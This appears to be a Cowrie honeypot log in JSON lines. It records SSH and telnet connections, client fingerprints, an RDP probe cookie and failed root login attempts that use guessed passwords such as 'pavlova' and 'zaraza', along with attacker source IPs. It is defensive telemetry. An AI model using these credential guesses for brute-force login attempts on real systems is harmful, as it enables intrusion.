{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:10.290310Z","src_ip":"103.27.238.114","session":"d658458b04a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678","message":"login attempt [root/a12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:11.130256Z","src_ip":"103.27.238.114","session":"d658458b04a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39334,"dst_ip":"10.17.0.5","dst_port":23,"session":"77856c192afc","protocol":"telnet","message":"New connection: 152.42.224.71:39334 (10.17.0.5:23) [session: 77856c192afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:11.860642Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:12.413310Z","src_ip":"103.27.238.114","session":"d658458b04a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":37106,"dst_ip":"159.203.135.109","dst_port":22,"session":"4796e076f9bd","protocol":"ssh","message":"New connection: 89.108.118.91:37106 (159.203.135.109:22) [session: 4796e076f9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:15.098430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:15.108632Z","src_ip":"89.108.118.91","session":"4796e076f9bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:15.252109Z","src_ip":"89.108.118.91","session":"4796e076f9bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pavlova","message":"login attempt [root/pavlova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:15.684728Z","src_ip":"89.108.118.91","session":"4796e076f9bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.84352493286133,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:15.718382Z","src_ip":"152.42.224.71","session":"99eaa58f6546","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:16.830566Z","src_ip":"89.108.118.91","session":"4796e076f9bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53574,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8065f428b8e","protocol":"telnet","message":"New connection: 152.42.224.71:53574 (10.17.0.5:23) [session: e8065f428b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:25.557139Z"}
{"eventid":"cowrie.session.closed","duration":30.931391954421997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:35.152352Z","src_ip":"152.42.224.71","session":"e445dbfe11cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":42326,"dst_ip":"159.203.135.109","dst_port":23,"session":"f31d3df8bd29","protocol":"telnet","message":"New connection: 176.65.139.118:42326 (159.203.135.109:23) [session: f31d3df8bd29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:36.915783Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47348,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dbb6db14960","protocol":"telnet","message":"New connection: 152.42.224.71:47348 (10.17.0.5:23) [session: 8dbb6db14960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:38.610906Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47376,"dst_ip":"10.17.0.5","dst_port":23,"session":"7800dc4a951a","protocol":"telnet","message":"New connection: 152.42.224.71:47376 (10.17.0.5:23) [session: 7800dc4a951a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:43.018601Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47362,"dst_ip":"10.17.0.5","dst_port":23,"session":"53126cb60313","protocol":"telnet","message":"New connection: 152.42.224.71:47362 (10.17.0.5:23) [session: 53126cb60313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:43.571107Z"}
{"eventid":"cowrie.session.closed","duration":6.811736822128296,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:43.727427Z","src_ip":"176.65.139.118","session":"f31d3df8bd29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":56312,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf7616634407","protocol":"ssh","message":"New connection: 103.75.183.219:56312 (10.17.0.5:22) [session: bf7616634407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:54.338339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:54.343474Z","src_ip":"103.75.183.219","session":"bf7616634407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:54.589152Z","src_ip":"103.75.183.219","session":"bf7616634407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjkmgfhjkm","message":"login attempt [root/gfhjkmgfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:55.328197Z","src_ip":"103.75.183.219","session":"bf7616634407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:56.577982Z","src_ip":"103.75.183.219","session":"bf7616634407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58559,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb70da3fb4c3","protocol":"ssh","message":"New connection: 167.172.81.52:58559 (10.17.0.5:22) [session: eb70da3fb4c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:56.743854Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:56.778496Z","src_ip":"167.172.81.52","session":"eb70da3fb4c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:01:56.786271Z","src_ip":"167.172.81.52","session":"eb70da3fb4c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.80487823486328,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:01.484111Z","src_ip":"152.42.224.71","session":"2f2dfad444a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":34434,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b193a9d7256","protocol":"ssh","message":"New connection: 103.149.170.125:34434 (159.203.135.109:22) [session: 5b193a9d7256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:04.159072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:04.163095Z","src_ip":"103.149.170.125","session":"5b193a9d7256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:04.430459Z","src_ip":"103.149.170.125","session":"5b193a9d7256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaraza","message":"login attempt [root/zaraza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:05.237215Z","src_ip":"103.149.170.125","session":"5b193a9d7256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:06.507824Z","src_ip":"103.149.170.125","session":"5b193a9d7256","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.149.12.90","src_port":46148,"dst_ip":"10.17.0.5","dst_port":23,"session":"b017c7eea16e","protocol":"telnet","message":"New connection: 35.149.12.90:46148 (10.17.0.5:23) [session: b017c7eea16e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:08.975440Z"}
{"eventid":"cowrie.session.closed","duration":3.1560511589050293,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:12.131334Z","src_ip":"35.149.12.90","session":"b017c7eea16e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57872,"dst_ip":"10.17.0.5","dst_port":23,"session":"41b864f3836c","protocol":"telnet","message":"New connection: 152.42.224.71:57872 (10.17.0.5:23) [session: 41b864f3836c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:14.614143Z"}
{"eventid":"cowrie.session.closed","duration":40.9754204750061,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:19.586219Z","src_ip":"152.42.224.71","session":"8dbb6db14960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50276,"dst_ip":"10.17.0.5","dst_port":23,"session":"e584906bef15","protocol":"telnet","message":"New connection: 152.42.224.71:50276 (10.17.0.5:23) [session: e584906bef15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:27.478585Z"}
{"eventid":"cowrie.session.closed","duration":48.871514558792114,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:31.890006Z","src_ip":"152.42.224.71","session":"7800dc4a951a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":80.84680271148682,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:32.707330Z","src_ip":"152.42.224.71","session":"77856c192afc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.67830610275269,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:33.235320Z","src_ip":"152.42.224.71","session":"e8065f428b8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.80970740318298,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:47.423705Z","src_ip":"152.42.224.71","session":"41b864f3836c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":36716,"dst_ip":"159.203.135.109","dst_port":22,"session":"9912f43f6f79","protocol":"ssh","message":"New connection: 193.228.128.84:36716 (159.203.135.109:22) [session: 9912f43f6f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:50.930998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:50.934822Z","src_ip":"193.228.128.84","session":"9912f43f6f79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:51.037688Z","src_ip":"193.228.128.84","session":"9912f43f6f79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kaktus","message":"login attempt [root/kaktus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:51.344754Z","src_ip":"193.228.128.84","session":"9912f43f6f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:02:52.450221Z","src_ip":"193.228.128.84","session":"9912f43f6f79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54316,"dst_ip":"10.17.0.5","dst_port":23,"session":"297547b27afc","protocol":"telnet","message":"New connection: 152.42.224.71:54316 (10.17.0.5:23) [session: 297547b27afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:04.530818Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":40590,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ef2d7d20b6e","protocol":"ssh","message":"New connection: 103.15.222.183:40590 (10.17.0.5:22) [session: 8ef2d7d20b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:05.199957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:05.204807Z","src_ip":"103.15.222.183","session":"8ef2d7d20b6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:05.451339Z","src_ip":"103.15.222.183","session":"8ef2d7d20b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xbox360","message":"login attempt [root/xbox360] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:06.193552Z","src_ip":"103.15.222.183","session":"8ef2d7d20b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:07.443759Z","src_ip":"103.15.222.183","session":"8ef2d7d20b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.333600997924805,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:07.812090Z","src_ip":"152.42.224.71","session":"e584906bef15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57576,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8cf7c71d8a5","protocol":"telnet","message":"New connection: 152.42.224.71:57576 (10.17.0.5:23) [session: d8cf7c71d8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:03:08.970541Z"}
